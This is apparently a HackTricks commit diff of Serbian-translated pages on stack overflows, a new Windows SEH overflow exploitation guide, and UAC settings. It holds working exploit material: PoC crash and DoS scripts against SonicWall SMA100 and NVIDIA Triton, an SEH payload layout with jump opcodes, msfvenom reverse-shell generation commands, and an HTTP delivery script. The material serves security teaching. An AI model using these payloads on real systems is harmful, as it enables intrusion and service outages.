maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/authentication-credentials-uac-and-ef

Browse Source
This commit is contained in:
Translator 2025-08-28 20:21:53 +00:00
parent 73a5ecaf07
commit 6485d9dff1
4 changed files with 327 additions and 122 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -779,6 +779,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

101
src/binary-exploitation/stack-overflow/README.md
View File

@ -4,15 +4,15 @@
## Šta je Stack Overflow
A **stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
A **stack overflow** je ranjivost koja nastaje kada program upiše više podataka na stack nego što mu je dodeljeno da zadrži. Ovi suvišni podaci će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, ometanja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica na ulazu.
Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše tok izvršavanja programa**.
Glavni problem ove prepisivanja je što su **saved instruction pointer (EIP/RIP)** i **saved base pointer (EBP/RBP)** koji služe za vraćanje u prethodnu funkciju **smešteni na stack-u**. Dakle, napadač će moći da ih prepiše i **kontroliše tok izvršavanja programa**.
Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može prepisati druge delove steka.
Ranjivost obično nastaje zato što funkcija **kopira unutar stack-a više bajtova nego što je za njega dodeljeno**, čime može prepisati druge delove stack-a.
Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
Neke uobičajene funkcije koje su ranjive su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read`** i **`memcpy`** koje primaju argument za dužinu, mogu biti korišćene na ranjiv način ako je navedena dužina veća od dodeljene.
Na primer, sledeće funkcije bi mogle biti ranjive:
Na primer, sledeće funkcije mogu biti ranjive:
```c
void vulnerable() {
char buffer[128];
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Pronalaženje offset-a za Stack Overflow
### Finding Stack Overflows offsets
Najčešći način da se pronađu stack overflow-ovi je da se unese veoma veliki unos `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekuje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
Najčešći način da se otkriju stack overflows je da se pošalje veoma veliki ulaz sastavljen od `A` karaktera (npr. `python3 -c 'print("A"*1000)'`) i očekuje `Segmentation Fault` koji pokazuje da je pokušano pristupiti adresi **`0x41414141`**.
Pored toga, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno da pronađete offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontigvna podsekvenca.
Pored toga, kada utvrdite da postoji Stack Overflow vulnerability, potrebno je pronaći offset do tačke kada je moguće **overwrite the return address**; za ovo se obično koristi **De Bruijn sequence.** Za dato alfabet veličine _k_ i podnizove dužine _n_, to je **ciklična sekvenca u kojoj se svaki mogući podniz dužine _n_ pojavljuje tačno jednom** kao kontinualni podniz.
Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
Na ovaj način, umesto da ručno utvrđujete koji offset je potreban da biste kontrolisali EIP, moguće je kao padding koristiti jednu od ovih sekvenci, a zatim naći offset bajtova koji su je prepisali.
Moguće je koristiti **pwntools** za ovo:
```python
@ -48,16 +48,17 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Iskorišćavanje Stack Overflow-a
## Exploiting Stack Overflows
Tokom prelivanja (pretpostavljajući da je veličina prelivanja dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
Najčešći način da se zloupotrebi ova vrsta ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovom pokazivaču.
Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljna) bićete u mogućnosti da **overwrite** vrednosti lokalnih promenljivih na steku sve dok ne dođete do sačuvanih **EBP/RBP and EIP/RIP (or even more)**.\
Najčešći način zloupotrebe ove vrste ranjivosti je **modifying the return address** tako da kada funkcija završi, **control flow will be redirected wherever the user specified** u ovom pointeru.
Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
Međutim, u drugim scenarijima možda će biti dovoljno samo **overwriting some variables values in the stack** da bi se izvršila eksploatacija (kao u easy CTF challenges).
### Ret2win
U ovim vrstama CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
U ovom tipu CTF challenges postoji **function** **inside** binarnog fajla koja se **never called** i koju **you need to call in order to win**. Za ove izazove potrebno je samo da pronađete **offset to overwrite the return address** i **find the address of the function** koju treba pozvati (obično [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) tako da kada ranjiva funkcija vrati, sakrivena funkcija bude pozvana:
{{#ref}}
ret2win/
@ -65,15 +66,26 @@ ret2win/
### Stack Shellcode
U ovom scenariju napadač može postaviti shellcode u stek i zloupotrebiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:
U ovom scenariju napadač može postaviti shellcode na stek i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i execute arbitrary code:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... tehnike
### Windows SEH-based exploitation (nSEH/SEH)
Na 32-bit Windowsu, overflow može prepisati Structured Exception Handler (SEH) lanac umesto sačuvanog return address. Eksploatacija obično zamenjuje SEH pointer sa POP POP RET gadget i koristi 4-byte nSEH polje za kratak skok koji pivotira nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji dospeva na 5-byte near jmp smešten neposredno pre nSEH da bi skočio stotinama bajtova nazad do početka payload-a.
{{#ref}}
windows-seh-overflow.md
{{#endref}}
### ROP & Ret2... techniques
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite protiv prethodne tehnike: **No executable stack (NX)**. Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti arbitrary commands iskorišćavanjem postojećih instrukcija u binarnom fajlu:
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **Neizvršni stek (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
{{#ref}}
../rop-return-oriented-programing/
@ -81,49 +93,51 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike:
## Heap Overflows
Prelivanje se ne mora uvek dešavati u steku, može se takođe desiti u **heap-u** na primer:
Overflow nije uvek na steku, može biti i u **heap** na primer:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Tipovi zaštita
## Vrste zaštita
Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:
Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, proverite ih u:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
### Primer iz stvarnog sveta: CVE-2025-40596 (SonicWall SMA100)
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Dobra demonstracija zašto **`sscanf` nikada ne bi trebalo verovati za parsiranje nepouzdanog unosa** pojavila se 2025. godine u SonicWall-ovom SMA100 SSL-VPN uređaju. Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i krajnju tačku iz bilo kog URI-ja koji počinje sa `/__api__/`:
Dobar primer zašto **`sscanf` should never be trusted for parsing untrusted input** pojavio se 2025. u SonicWall’s SMA100 SSL-VPN appliance. Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i endpoint iz bilo kog URI koji počinje sa `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Prva konverzija (`%2s`) sigurno čuva **dva** bajta u `version` (npr. `"v1"`).
2. Druga konverzija (`%s`) **nema specifikator dužine**, stoga će `sscanf` nastaviti da kopira **do prvog NUL bajta**.
3. Pošto se `endpoint` nalazi na **stack-u** i ima **0x800 bajta**, pružanje puta dužeg od 0x800 bajta korumpira sve što se nalazi posle bafera ‑ uključujući **stack canary** i **sačuvanu adresu povratka**.
1. Prva konverzija (`%2s`) bezbedno skladišti **dva** bajta u `version` (npr. `"v1"`).
2. Druga konverzija (`%s`) **nema specifikator dužine**, zbog čega `sscanf` nastavlja da kopira **dok se ne naiđe na prvi NUL byte**.
3. Pošto je `endpoint` smešten na **stack** i ima dužinu **0x800 bytes**, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi nakon buffer‑a ‑ uključujući **stack canary** i **saved return address**.
Jedna linija dokaza koncepta je dovoljna da izazove pad **pre autentifikacije**:
Jedna single-line proof-of-concept je dovoljna da izazove pad **pre autentifikacije**:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Iako stack kanari abortiraju proces, napadač i dalje dobija **Denial-of-Service** primitivu (i, uz dodatne informacije o curenju, moguće izvršenje koda). Lekcija je jednostavna:
Iako stack canaries prekinu proces, napadač i dalje stiče **Denial-of-Service** primitiv (i, uz dodatne information leaks, moguće code-execution). Lekcija je jednostavna:
* Uvek obezbedite **maksimalnu širinu polja** (npr. `%511s`).
* Preferirajte sigurnije alternative kao što su `snprintf`/`strncpy_s`.
* Uvek navedite **maksimalnu širinu polja** (npr. `%511s`).
* Preferirajte bezbednije alternative kao što su `snprintf`/`strncpy_s`.
### Primer iz stvarnog sveta: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
### Stvarni primer: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA-ov Triton Inference Server (≤ v25.06) sadržavao je više **stack-based overflows** dostupnih kroz svoj HTTP API.
Ranjivi obrazac se ponavljao u `http_server.cc` i `sagemaker_server.cc`:
NVIDIA Triton Inference Server (≤ v25.06) je sadržao više **stack-based overflows** dostupnih preko njegovog HTTP API-ja.
Ranjivi obrazac se više puta pojavljivao u `http_server.cc` i `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -133,11 +147,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) vraća **broj internih segmenata bafera** koji čine trenutni HTTP zahtev telo.
2. Svaki segment uzrokuje da se **16-bajtni** `evbuffer_iovec` alocira na **stack-u** putem `alloca()` – **bez ikakvog gornjeg ograničenja**.
3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može primorati zahtev da se podeli na **stotine hiljada 6-bajtnih delova** (`"1\r\nA\r\n"`). Ovo uzrokuje da `n` raste bez ograničenja dok se stack ne iscrpi.
1. `evbuffer_peek` (libevent) vraća **broj unutrašnjih buffer segmenata** koji čine trenutni HTTP request body.
2. Svaki segment uzrokuje alokaciju **16-byte** `evbuffer_iovec` na **stack** putem `alloca()` – **bez gornje granice**.
3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može prisiliti request da bude podeljen na **stotine hiljada 6-byte chunks** (`"1\r\nA\r\n"`). Ovo čini da se `n` neograničeno povećava dok se **stack** ne iscrpi.
#### Dokaz-koncept (DoS)
#### Dokaz koncepta (DoS)
```python
#!/usr/bin/env python3
import socket, sys
@ -161,10 +175,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
A ~3 MB zahtev je dovoljan da prepiše sačuvanu adresu povratka i **sruši** demon na podrazumevanoj verziji.
Zahtev od ~3 MB je dovoljan da prepiše sačuvanu adresu za povratak i **crash** daemon na podrazumevanom build-u.
#### Patch & Mitigation
Izlaz 25.07 zamenjuje nesigurno alociranje steka sa **heap-backed `std::vector`** i graciozno obrađuje `std::bad_alloc`:
#### Patch i mitigacija
Izdanje 25.07 zamenjuje nebezbednu alokaciju na steku sa **heap-backed `std::vector`** i elegantno rukuje `std::bad_alloc`:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -174,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Lekcije naučene:
* Nikada ne pozivajte `alloca()` sa veličinama koje kontroliše napadač.
* Chunked zahtevi mogu drastično promeniti oblik server-side bafera.
* Validirajte / ograničite bilo koju vrednost dobijenu iz klijentskog unosa *pre* nego što je upotrebite u alokacijama memorije.
Naučene lekcije:
* Nikada ne pozivati `alloca()` sa veličinama koje kontroliše napadač.
* Chunked requests mogu drastično promeniti oblik server-side buffers.
* Validirajte / ograničite svaku vrednost izvedenu iz client input *pre* nego što je upotrebite u memory allocations.
## Reference
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
{{#include ../../banners/hacktricks-training.md}}

150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md Normal file
View File

@ -0,0 +1,150 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation je klasična x86 Windows tehnika koja zloupotrebljava Structured Exception Handler lanac smešten na steku. Kada stack buffer overflow prepiše dva 4-bajtna polja
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
napadač može preuzeti kontrolu izvršavanja tako što:
1) Podesi SEH na adresu POP POP RET gadget-a u modul-u bez zaštite, tako da kada se desi exception gadget vrati izvršavanje u napadačem kontrolisane bajtove, i
2) Iskoristi nSEH da preusmeri izvršavanje (tipično kratki skok) nazad u veliki overflow buffer gde se nalazi shellcode.
Ova tehnika je specifična za 32-bit procese (x86). Na modernim sistemima, preferiraj modul bez SafeSEH i ASLR za gadget. Loši karakteri često uključuju 0x00, 0x0a, 0x0d (NUL/CR/LF) zbog C-strings i HTTP parsiranja.
---
## Pronalaženje tačnih offseta (nSEH / SEH)
- Sruši proces i proveri da li je SEH lanac prepisan (npr. u x32dbg/x64dbg, proveri SEH view).
- Pošalji cyclic pattern kao overflowing podatke i izračunaj offset-e dva dword-a koja završe u nSEH i SEH.
Primer sa peda/GEF/pwntools na POST telu od 1000 bajtova:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
---
## Izbor POP POP RET (SEH gadget)
Treba vam POP POP RET sekvenca da rasklopi SEH okvir i vrati kontrolu u vaše nSEH bajtove. Pronađite je u modulu bez SafeSEH i po mogućstvu bez ASLR:
- Mona (Immunity/WinDbg): `!mona modules` zatim `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` da prikaže POP POP RET gadget-e i SafeSEH status.
Izaberite adresu koja ne sadrži badchars kada se upiše little-endian (npr., `p32(0x004094D8)`). Preferirajte gadget-e unutar ranjivog binarnog fajla ako zaštite to dopuštaju.
---
## Jump-back technique (short + near jmp)
nSEH je samo 4 bajta, što odgovara najviše 2-bajtnom short jump-u (`EB xx`) plus padding. Ako morate da se vratite unazad stotinama bajtova da biste dosegnuli početak buffera, koristite 5-bajtnu near jump koja je postavljena neposredno pre nSEH i povežite se na nju short jump-om iz nSEH.
With nasmshell:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
Ideja rasporeda za 1000-byte payload sa nSEH na offsetu 660:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
Tok izvršavanja:
- Dogodi se izuzetak, dispatcher koristi prepisani SEH.
- POP POP RET povlači izvršavanje u naš nSEH.
- nSEH izvršava `jmp short -8` u 5-byte near jump.
- Near jump dospeva na početak našeg buffer-a gde se nalazi NOP sled + shellcode.
---
## Bad characters
Sastavite potpuni badchar string i uporedite stack memoriju nakon pada, izbacujući bajtove koje ciljni parser oštećuje. Za HTTP-based overflows, `\x00\x0a\x0d` su gotovo uvek izuzeti.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Generisanje Shellcode-a (x86)
Koristite msfvenom sa vašim badchars. Mali NOP sled pomaže tolerisati varijacije u mestu dosedanja.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
Ako se generiše u letu, hex format je pogodan za embed i unhex u Pythonu:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Slanje preko HTTP-a (precizni CRLF + Content-Length)
Kada je ranjivi vektor HTTP request body, sastavite raw request sa tačnim CRLF-ovima i Content-Length-om tako da server pročita ceo overflowing body.
```python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
```
---
## Alati
- x32dbg/x64dbg za posmatranje SEH lanaca i trijažu pada procesa.
- ERC.Xdbg (dodatak za x64dbg) za nabrajanje SEH gadgets: `ERC --SEH`.
- Mona kao alternativa: `!mona modules`, `!mona seh`.
- nasmshell za sastavljanje short/near jumps i kopiranje raw opcodes.
- pwntools za kreiranje preciznih mrežnih payload-ova.
---
## Napomene i upozorenja
- Ovo se odnosi samo na x86 procese. x64 koristi drugačiju SEH šemu i eksploatacija bazirana na SEH obično nije izvodljiva.
- Preferirajte gadgets u modulima bez SafeSEH i ASLR; u suprotnom, pronađite nezaštićeni modul učitan u procesu.
- Servisni watchdog-ovi koji se automatski restartuju nakon pada mogu olakšati iterativni razvoj exploita.
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
{{#include ../../banners/hacktricks-training.md}}

197
src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
View File

@ -1,121 +1,122 @@
# UAC - Kontrola korisničkog naloga
# UAC - User Account Control
{{#include ../../banners/hacktricks-training.md}}
## UAC
[Kontrola korisničkog naloga (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) je funkcija koja omogućava **izdavanje saglasnosti za uzdignute aktivnosti**. Aplikacije imaju različite nivoe `integriteta`, a program sa **visokim nivoom** može izvoditi zadatke koji **mogu potencijalno ugroziti sistem**. Kada je UAC omogućen, aplikacije i zadaci uvek **rade pod sigurnosnim kontekstom naloga koji nije administrator** osim ako administrator izričito ne odobri tim aplikacijama/zadacima pristup na nivou administratora za izvršavanje. To je funkcija pogodnosti koja štiti administratore od nenamernih promena, ali se ne smatra sigurnosnom granicom.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.
For more info about integrity levels:
Za više informacija o nivoima integriteta:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
Kada je UAC aktivan, korisniku administratoru se dodeljuju 2 tokena: standardni korisnički ključ, za obavljanje redovnih akcija na redovnom nivou, i jedan sa privilegijama administratora.
Kada je UAC aktivan, administratorskom korisniku se dodeljuju 2 tokena: standardni token korisnika za obavljanje uobičajenih radnji na regularnom nivou, i token sa administratorskim privilegijama.
Ova [stranica](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) detaljno objašnjava kako UAC funkcioniše i uključuje proces prijavljivanja, korisničko iskustvo i arhitekturu UAC-a. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC funkcioniše specifično za njihovu organizaciju na lokalnom nivou (koristeći secpol.msc), ili da ga konfigurišu i distribuiraju putem objekata grupne politike (GPO) u okruženju Active Directory domena. Različite postavke su detaljno objašnjene [ovde](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Postoji 10 postavki grupne politike koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:
Ova [stranica](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) detaljno objašnjava kako UAC funkcioniše i uključuje proces logovanja, korisničko iskustvo i UAC arhitekturu. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC radi specifično za njihovu organizaciju na lokalnom nivou (korišćenjem secpol.msc), ili da ih konfigurišu i distribuiraju putem Group Policy Objects (GPO) u Active Directory domen okruženju. Različita podešavanja su detaljno objašnjena [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Postoji 10 Group Policy podešavanja koja se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:
| Postavka grupne politike | Registry Key | Podrazumevana postavka |
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [Kontrola korisničkog naloga: Mod odobrenja administratora za ugrađeni nalog administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Onemogućeno |
| [Kontrola korisničkog naloga: Dozvoli UIAccess aplikacijama da traže uzdizanje bez korišćenja sigurnog radnog okruženja](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Onemogućeno |
| [Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za administratore u režimu odobrenja administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Traži saglasnost za ne-Windows binarne datoteke |
| [Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za standardne korisnike](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Traži kredencijale na sigurnom radnom okruženju |
| [Kontrola korisničkog naloga: Otkrivanje instalacija aplikacija i traženje uzdizanja](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Omogućeno (podrazumevano za kućne verzije) Onemogućeno (podrazumevano za preduzeća) |
| [Kontrola korisničkog naloga: Samo uzdigni izvršne datoteke koje su potpisane i validirane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Onemogućeno |
| [Kontrola korisničkog naloga: Samo uzdigni UIAccess aplikacije koje su instalirane na sigurnim lokacijama](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Omogućeno |
| [Kontrola korisničkog naloga: Pokreni sve administratore u režimu odobrenja administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Omogućeno |
| [Kontrola korisničkog naloga: Prebaci se na sigurno radno okruženje kada se traži uzdizanje](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Omogućeno |
| [Kontrola korisničkog naloga: Virtualizuj neuspehe pisanja u datoteke i registru na lokacije po korisniku](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Omogućeno |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Onemogućeno |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Onemogućeno |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Zatraži pristanak za non-Windows binarne fajlove |
